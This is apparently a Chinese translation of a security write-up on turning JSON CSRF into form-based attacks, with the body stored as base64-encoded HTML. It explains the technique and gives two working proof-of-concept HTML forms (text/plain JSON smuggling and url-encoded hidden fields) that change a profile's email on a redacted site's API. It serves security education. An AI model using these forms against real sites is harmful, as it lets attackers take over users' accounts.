由JSON CSRF到FormData攻击

PGgyIGlkPSJ0b2MtMCI+55SxSlNPTiBDU1JG5YiwRm9ybURhdGHmlLvlh7s8L2gyPjxwPuWOn+aWh+mTvuaOpe+8mjxhIGhyZWY9Imh0dHBzOi8vbWVkaXVtLmNvbS9Ab3NhbWFhdnZhbi9qc29uLWNzcmYtdG8tZm9ybWRhdGEtYXR0YWNrLWViNjUyNzIzNzZhMiIgdGFyZ2V0PSJfYmxhbmsiPmh0dHBzOi8vbWVkaXVtLmNvbS9Ab3NhbWFhdnZhbi9qc29uLWNzcmYtdG8tZm9ybWRhdGEtYXR0YWNrLWViNjUyNzIzNzZhMjwvYT48L3A+PHA+6aaW5YWI77ya5L2g5Lus5b+F6aG755+l6YGTQ1NSRuaUu+WHu++8jOWmguaenOS4jeefpemBk++8jOmCo+S5iOi/memHjOaYr+S4gOS4queugOefreeahOS7i+e7je+8mjwvcD48cD5DU1JG5piv5LiA56eN5pS75Ye777yM5a6D6L+r5L2/5pyA57uI55So5oi35Zyo5b2T5YmN5a+55YW26L+b6KGM6Lqr5Lu96aqM6K+B55qEV2Vi5bqU55So56iL5bqP5LiK5omn6KGM5LiN6ZyA6KaB55qE5pON5L2c44CCQ1NSRuaUu+WHu+S4k+mXqOmSiOWvueeKtuaAgeWPmOWMluivt+axgu+8jENTUkbmlLvlh7vlj6/ku6XlvLrliLbnlKjmiLfmiafooYznirbmgIHovazmjaLor7fmsYLvvIzlpoLovaznp7votYTph5HvvIzmm7TmlLnlhbbnlLXlrZDpgq7ku7blnLDlnYDvvIznlJroh7PljbHlj4rmlbTkuKpXZWLlupTnlKjnqIvluo/jgII8L3A+PHA+5p2l5rqQ77yaPGEgaHJlZj0iaHR0cHM6Ly93d3cub3dhc3Aub3JnL2luZGV4LnBocC9Dcm9zcy1TaXRlX1JlcXVlc3RfRm9yZ2VyeV8oQ1NSRiIgdGFyZ2V0PSJfYmxhbmsiPmh0dHBzOi8vd3d3Lm93YXNwLm9yZy9pbmRleC5waHAvQ3Jvc3MtU2l0ZV9SZXF1ZXN0X0ZvcmdlcnlfKENTUkYpPC9hPik8L3A+PHA+6YKj5LmI5ZyoSlNPTiBDU1JG5Lit5pyJ5LuA5LmI54us54m55LmL5aSE77yM5ZyoSlNPTiBDU1JG5Lit77yM5Y+R6YCB5Yiw5pyN5Yqh5Zmo55qE5pWw5o2u5pivSlNPTuagvOW8j++8jOiAjENvbnRlbnQtVHlwZeaYrzxzdHJvbmc+Q29udGVudC1UeXBl77yaYXBwbGljYXRpb24vanNvbjwvc3Ryb25nPu+8jDwvcD48cD7njrDlnKjnmoTpl67popjmmK/miJHku6zml6Dms5Xlj5HpgIE8c3Ryb25nPkNvbnRlbnQtVHlwZe+8mmFwcGxpY2F0aW9uL2pzb248L3N0cm9uZz7vvIzkvb/nlKjluLjop4RIVE1M6KGo5Y2V77yM5Y+q6IO96YCa6L+HWE1MIEhUVFDor7fmsYLmiJbnroDljZXlnLDpgJrov4dBSkFY6K+35rGC5Yiw5pyN5Yqh5Zmo77yMPC9wPjxwPuS9hueUseS6jkNPUlPnrZbnlaXmiJHku6zkuI3og73ov5nmoLflgZrvvIzpmaTpnZ7mnI3liqHlmajlhYHorrjotoXov4foh6rlrprkuYnnmoRPcmlnaW7lkozlnKjlk43lupTkuK3kuLo8c3Ryb25nPkFjY2Vzcy1Db250cm9sLUFsbG93LUNyZWRlbnRpYWxz77yadHJ1ZTwvc3Ryb25nPjwvcD48cD7miYDmnInov5nkuIDliIflj6rmnInlnKjmsqHmnIlBbnRpLUNTUkbkv53miqTku6TniYzmiJblhbbku5ZDU1JG5L+d5oqk5py65Yi255qE5oOF5Ya15LiL5omN5pyJ5Y+v6IO95Y+R55Sf44CCPC9wPjxwPueOsOWcqO+8jOWmguaenOaIkeS7rOWwhjxzdHJvbmc+Q29udGVudC1UeXBlPC9zdHJvbmc+5LuOPHN0cm9uZz5hcHBsaWNhdGlvbi9qc29uPC9zdHJvbmc+5pu05pS55Li6PHN0cm9uZz50ZXh0L3BsYWluPC9zdHJvbmc+55qE5pe25YCZ5ZON5bqU5Lit5rKh5pyJ6ZSZ6K+v5bm25LiU6KGo5Y2V5o+Q5Lqk5oiQ5Yqf77yM5oiR5Lus5Y+v5Lul6YCa6L+H5Yib5bu65YW35pyJ5bGe5oCnPHN0cm9uZz5lbmN0eXBlPeKAnXRleHQvcGxhaW7igJ08L3N0cm9uZz7nmoRIVE1M6KGo5Y2V5p2l5omn6KGMQ1NSRuaUu+WHu+OAgjwvcD48cD7njrDlnKjorqnmiJHku6zmnaXnnIvnnIvnjrDlrp7nlJ/mtLvkuK3nmoTmoYjkvovvvJo8L3A+PHA+5Lul5LiL5piv5Y+R6YCB5Yiw5pyN5Yqh5Zmo5Lul5pu05pS555So5oi35Liq5Lq65L+h5oGv55qESlNPTuivt+axgjwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMjQyNS9kNmZhNzhkZjU2NzYzZTUyMTVlOGVjMDViNmQ2ODU4ZC5wbmciLz48L3A+PHA+546w5Zyo77yM5oiR5Lus5Y+v5Lul5bCd6K+V5aaC5p6c5pS55Y+YQ29udGVudC1UeXBl5Lit55qEPHN0cm9uZz5hcHBsaWNhdGlvbi9qc29uPC9zdHJvbmc+5Li6PHN0cm9uZz50ZXh0L3BsYWluPC9zdHJvbmc+77yM5piv5LiN5piv6L+Y5Y+v5Lul5bel5L2c77yM5aaC5p6c5bel5L2c5bm25LiU5Y+v5Lul5pS25Yiw55u45ZCM55qE57uT5p6cIDxzdHJvbmc+YXBwbGljYXRpb24vanNvbjwvc3Ryb25nPu+8jOivtOaYjuayoeaciemUmeivr++8jOWImeS8muW+l+WIsOS4i+mdoueahEpTT07kv6Hmga/vvJo8L3A+PHByZT48Zm9ybSZuYnNwO2FjdGlvbj3igJ1odHRwczovL3JlZGFjdC5jb20vYXBpL3Jlc3QvbW9kZWwvYXRnL3VzZXJwcm9maWxpbmcvUHJvZmlsZUFjdG9yL3VwZGF0ZU15RGF0YSImbmJzcDttZXRob2Q94oCdcG9zdOKAnSZuYnNwO2VuY3R5cGU94oCddGV4dC9wbGFpbuKAnT4KPGlucHV0Jm5ic3A7dHlwZT3igJ10ZXh04oCdJm5ic3A7bmFtZT3igJl74oCcaWTigJ064oCdMTAyNTI3NTk2NiIs4oCdZmlyc3ROYW1l4oCdOuKAnUZvb+KAnSzigJ1sYXN0TmFtZeKAnTrigJ1CYXLigJ0s4oCdZW1haWzigJ064oCdaGFja2VkQGdtYWlsLmNvbeKAnSzigJ1nZW5kZXLigJ064oCdSG9tYnJl4oCdLOKAnW1vYmlsZU51bWJlcuKAnTrigJ0rNTIiLOKAnWNvdW50cnlDb2Rl4oCdOuKAnSs1MiIs4oCdcGFzc3dvcmRDaGVja0JveOKAnTrigJ1mYWxzZeKAnSzigJ1mYXZvcml0ZXNMaXN0SWTigJ064oCdZ2wxMDI1NTI2ODQ1IizigJ1yZWNlaXZlUHJvbW9FbWFpbOKAnTrigJ1Ob+KAnSzigJ1mdWxsTmFtZeKAnTrigJ1Gb28mbmJzcDtCYXLigJws4oCdbXlTYXZlTGF0ZXJHaWZ0TGlzdElk4oCdOuKAnWdsMTAzNDg5Nzc1NSIsJm5ic3A74oCcYmFsYW5jZeKAnTrigJ3igJkmbmJzcDt2YWx1ZT3igJl0cnVl4oCdfeKAmT4KPGlucHV0Jm5ic3A7dHlwZT3igJ1zdWJtaXTigJ0mbmJzcDt2YWx1ZT3igJ1zZW5k4oCdPgo8L2Zvcm0+PC9wcmU+PHA+5oiR5ZyoSlNPTuaVsOaNrueahOacq+WwvumZhOWKoOS6hjxzdHJvbmc+4oCcYmFsYW5jZeKAnTrigJ3igJkgdmFsdWU94oCZdHJ1ZeKAnX3igJk8L3N0cm9uZz7nlKjmnaXlubPooaHor7fmsYLkuK3lj5HpgIHnmoQ8c3Ryb25nPmFkZGl0aW9uYWwgPTwvc3Ryb25nPjwvcD48cD7njrDlnKjvvIzlpoLmnpw8c3Ryb25nPnRleHQvcGxhaW48L3N0cm9uZz7mlrnms5XkuI3otbfkvZznlKjvvIzpgqPkuYjmiJHku6zov5jmnInlj6bkuIDkuKrpgInpobnvvIzlj6rpnIDlj5HpgIHluKbmnIlDb250ZW50LVR5cGXnmoTooajljZXmlbDmja48c3Ryb25nPkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkPC9zdHJvbmc+44CC6L+Z5piv5pyA5bi46KeB77yM5pyA566A5Y2V55qE6KGo5Y2V5o+Q5Lqk57G75Z6L44CC546w5Zyo5Yib5bu65LiA5Liq5YyF5ZCrSlNPTuaVsOaNruS4reaJgOacieWtl+auteeahEhUTUzooajljZXjgII8L3A+PHByZT48Zm9ybSZuYnNwO2FjdGlvbj3igJ1odHRwczovL3JlZGFjdC5jb20vYXBpL3Jlc3QvbW9kZWwvYXRnL3VzZXJwcm9maWxpbmcvUHJvZmlsZUFjdG9yL3VwZGF0ZU15RGF0YSImbmJzcDttZXRob2Q94oCdcG9zdOKAnT4KPGlucHV0Jm5ic3A7aGlkZGVuPeKAnXRydWXigJ0mbmJzcDt0eXBlPeKAnXRleHTigJ0mbmJzcDtuYW1lPeKAnWZpcnN0TmFtZeKAnSZuYnNwO3ZhbHVlPeKAnUZvb+KAnT4KPGlucHV0Jm5ic3A7aGlkZGVuPeKAnXRydWXigJ0mbmJzcDt0eXBlPeKAnXRleHTigJ0mbmJzcDtuYW1lPeKAnWxhc3ROYW1l4oCdJm5ic3A7dmFsdWU94oCdQmFy4oCdPgo8aW5wdXQmbmJzcDtoaWRkZW494oCddHJ1ZeKAnSZuYnNwO3R5cGU94oCddGV4dOKAnSZuYnNwO25hbWU94oCdZW1haWzigJ0mbmJzcDt2YWx1ZT3igJ1oYWNrZWRAZ21haWwuY29t4oCdPgo8aW5wdXQmbmJzcDt0eXBlPeKAnXRleHTigJ0mbmJzcDtoaWRkZW494oCddHJ1ZeKAnSZuYnNwO25hbWU94oCdZ2VuZGVy4oCdJm5ic3A7dmFsdWU94oCdTXVqZXLigJ0+CjxpbnB1dCZuYnNwO3R5cGU94oCddGV4dOKAnSZuYnNwO25hbWU94oCdbW9iaWxlTnVtYmVy4oCdJm5ic3A7aGlkZGVuPeKAnXRydWXigJ0mbmJzcDt2YWx1ZT3igJ0rNTIxNDUyNDUzNjk4Ij4KPGlucHV0Jm5ic3A7dHlwZT3igJ10ZXh04oCdJm5ic3A7bmFtZT3igJ1jb3VudHJ5Q29kZeKAnSZuYnNwO2hpZGRlbj3igJ10cnVl4oCdJm5ic3A7dmFsdWU94oCdKzUyIj4KPGlucHV0Jm5ic3A7dHlwZT3igJ1zdWJtaXTigJ0mbmJzcDt2YWx1ZT3igJ1zZW5k4oCdPjwvcHJlPjxwPuaPkOS6pOihqOWNleS7pea1i+ivleWug+aYr+WQpuato+W4uOW3peS9nOOAgjwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMjQyNS8wMGU5ODc3YzEyOGVjY2FmZmE2NGM1MDY0MjgxNGNhMS5wbmciLz48L3A+PGRpdiBjbGFzcz0icG9zdC11c2VyLWFjdGlvbiI+PC9kaXY+PHA+6L2s6Ieq5YWI55+l56S+5Yy6PGJyLz48L3A+